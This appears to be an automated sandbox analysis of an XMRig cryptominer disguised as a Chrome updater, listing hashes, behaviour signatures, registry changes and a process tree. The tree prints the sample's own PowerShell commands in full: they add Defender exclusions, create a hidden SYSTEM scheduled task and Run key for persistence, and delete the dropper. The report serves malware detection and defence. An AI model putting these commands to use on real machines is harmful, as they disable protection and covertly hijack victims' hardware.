xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
1800s
max time network
1799s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Size 2.0MB
Sample240123-x6bvbafgem
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1416 created 3248	1416	M8xUNW42QxTLMRXN.exe	21
PID 1416 created 3248	1416	M8xUNW42QxTLMRXN.exe	21
PID 1416 created 3248	1416	M8xUNW42QxTLMRXN.exe	21
PID 1416 created 3248	1416	M8xUNW42QxTLMRXN.exe	21
PID 2864 created 3248	2864	updater.exe	21
PID 2864 created 3248	2864	updater.exe	21
PID 2864 created 3248	2864	updater.exe	21
PID 2864 created 3248	2864	updater.exe	21
PID 1392 created 3248	1392	conhost.exe	21
PID 2864 created 3248	2864	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 31 IoCs

miner

resource	yara_rule
behavioral20/memory/1508-127-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-130-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-134-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-135-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-137-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-141-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-143-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-145-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-147-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-149-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-151-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-153-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-155-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-157-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-159-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-161-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-163-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-165-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-167-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-169-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-171-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-173-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-175-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-177-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-179-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-181-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-183-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-185-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-187-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-189-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig
behavioral20/memory/1508-191-0x00007FF614C90000-0x00007FF615484000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
2864	updater.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral20/memory/1508-127-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-130-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-134-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-135-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-137-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-141-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-143-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-145-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-147-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-149-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-151-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-153-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-155-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-157-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-159-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-161-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-163-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-165-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-167-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-169-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-171-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-173-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-175-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-177-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-179-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-181-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-183-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-185-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-187-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-189-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx
behavioral20/memory/1508-191-0x00007FF614C90000-0x00007FF615484000-memory.dmp	upx

Drops file in System32 directory 3 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2864 set thread context of 1392	2864	updater.exe	108
PID 2864 set thread context of 1508	2864	updater.exe	114

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	M8xUNW42QxTLMRXN.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2212	WMIC.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1416	M8xUNW42QxTLMRXN.exe
1416	M8xUNW42QxTLMRXN.exe
1280	powershell.exe
1280	powershell.exe
1416	M8xUNW42QxTLMRXN.exe
1416	M8xUNW42QxTLMRXN.exe
1372	powershell.exe
1372	powershell.exe
1416	M8xUNW42QxTLMRXN.exe
1416	M8xUNW42QxTLMRXN.exe
1416	M8xUNW42QxTLMRXN.exe
1416	M8xUNW42QxTLMRXN.exe
2144	powershell.exe
2144	powershell.exe
2864	updater.exe
2864	updater.exe
4536	powershell.exe
4536	powershell.exe
2864	updater.exe
2864	updater.exe
1236	powershell.exe
1236	powershell.exe
2864	updater.exe
2864	updater.exe
2864	updater.exe
2864	updater.exe
1392	conhost.exe
1392	conhost.exe
2864	updater.exe
2864	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1372	powershell.exe
Token: SeSecurityPrivilege	1372	powershell.exe
Token: SeTakeOwnershipPrivilege	1372	powershell.exe
Token: SeLoadDriverPrivilege	1372	powershell.exe
Token: SeSystemProfilePrivilege	1372	powershell.exe
Token: SeSystemtimePrivilege	1372	powershell.exe
Token: SeProfSingleProcessPrivilege	1372	powershell.exe
Token: SeIncBasePriorityPrivilege	1372	powershell.exe
Token: SeCreatePagefilePrivilege	1372	powershell.exe
Token: SeBackupPrivilege	1372	powershell.exe
Token: SeRestorePrivilege	1372	powershell.exe
Token: SeShutdownPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeSystemEnvironmentPrivilege	1372	powershell.exe
Token: SeRemoteShutdownPrivilege	1372	powershell.exe
Token: SeUndockPrivilege	1372	powershell.exe
Token: SeManageVolumePrivilege	1372	powershell.exe
Token: 33	1372	powershell.exe
Token: 34	1372	powershell.exe
Token: 35	1372	powershell.exe
Token: 36	1372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1372	powershell.exe
Token: SeSecurityPrivilege	1372	powershell.exe
Token: SeTakeOwnershipPrivilege	1372	powershell.exe
Token: SeLoadDriverPrivilege	1372	powershell.exe
Token: SeSystemProfilePrivilege	1372	powershell.exe
Token: SeSystemtimePrivilege	1372	powershell.exe
Token: SeProfSingleProcessPrivilege	1372	powershell.exe
Token: SeIncBasePriorityPrivilege	1372	powershell.exe
Token: SeCreatePagefilePrivilege	1372	powershell.exe
Token: SeBackupPrivilege	1372	powershell.exe
Token: SeRestorePrivilege	1372	powershell.exe
Token: SeShutdownPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeSystemEnvironmentPrivilege	1372	powershell.exe
Token: SeRemoteShutdownPrivilege	1372	powershell.exe
Token: SeUndockPrivilege	1372	powershell.exe
Token: SeManageVolumePrivilege	1372	powershell.exe
Token: 33	1372	powershell.exe
Token: 34	1372	powershell.exe
Token: 35	1372	powershell.exe
Token: 36	1372	powershell.exe
Token: SeIncreaseQuotaPrivilege	1372	powershell.exe
Token: SeSecurityPrivilege	1372	powershell.exe
Token: SeTakeOwnershipPrivilege	1372	powershell.exe
Token: SeLoadDriverPrivilege	1372	powershell.exe
Token: SeSystemProfilePrivilege	1372	powershell.exe
Token: SeSystemtimePrivilege	1372	powershell.exe
Token: SeProfSingleProcessPrivilege	1372	powershell.exe
Token: SeIncBasePriorityPrivilege	1372	powershell.exe
Token: SeCreatePagefilePrivilege	1372	powershell.exe
Token: SeBackupPrivilege	1372	powershell.exe
Token: SeRestorePrivilege	1372	powershell.exe
Token: SeShutdownPrivilege	1372	powershell.exe
Token: SeDebugPrivilege	1372	powershell.exe
Token: SeSystemEnvironmentPrivilege	1372	powershell.exe
Token: SeRemoteShutdownPrivilege	1372	powershell.exe
Token: SeUndockPrivilege	1372	powershell.exe
Token: SeManageVolumePrivilege	1372	powershell.exe
Token: 33	1372	powershell.exe
Token: 34	1372	powershell.exe
Token: 35	1372	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3272 wrote to memory of 2192	3272	cmd.exe	100
PID 3272 wrote to memory of 2192	3272	cmd.exe	100
PID 2144 wrote to memory of 3100	2144	powershell.exe	101
PID 2144 wrote to memory of 3100	2144	powershell.exe	101
PID 2864 wrote to memory of 1392	2864	updater.exe	108
PID 1140 wrote to memory of 2212	1140	cmd.exe	111
PID 1140 wrote to memory of 2212	1140	cmd.exe	111
PID 2864 wrote to memory of 1508	2864	updater.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3248
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1416
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1372
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\M8xUNW42QxTLMRXN.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3272
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2144
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:3100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:4536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1236
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1392
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:4376
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1140
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  PID:1508

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2864

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
PID:2212

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 625KB
SHA256 422c5855c02c254da67ac9924a840659c1d1f043e141e41b73aa662f75e137b5
MD5 b1cb86188560247a833054c9e08cdb07
SHA1 c8ba4697996584d41befec38867cdfcf0db7b472
SHA512 dd0f6c2598a4652d84fc6fcbba0e0c354973d8b8ba0f65a7c541d16d86699582504dc79a843c0d064832879c59b49bea273795a359ec7f3c967f181e48de2a10
SSDEEP 12288:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn88hzNTkuIdZVbc+uxWV+M2CB3kNA:rWVipGdVZjdqVC5jd88FC3bc+uxWV+iT
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 953KB
SHA256 a319e0b3aeb6fd7b52ad25eda9e2acba87365e2a1c43a955736993406cf17f63
MD5 7e63c7dbf254486d1d8d26fbeccc8d78
SHA1 cae022e30824b7e51f6ee425d4d9a42e3ba17e89
SHA512 f88207c68ec91207588211a5590871c2d257b057980dc669aa879320fbfeb8b6ebedebd08083af25c2a60d3f8b98837c25c7984bdf0f2aefbf2d1e92d5734601
SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe7:rWVipAxqo5p88CbXuxWQiSJU320ZS
MD5 SHA1 SHA512 SSDEEP

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g.log

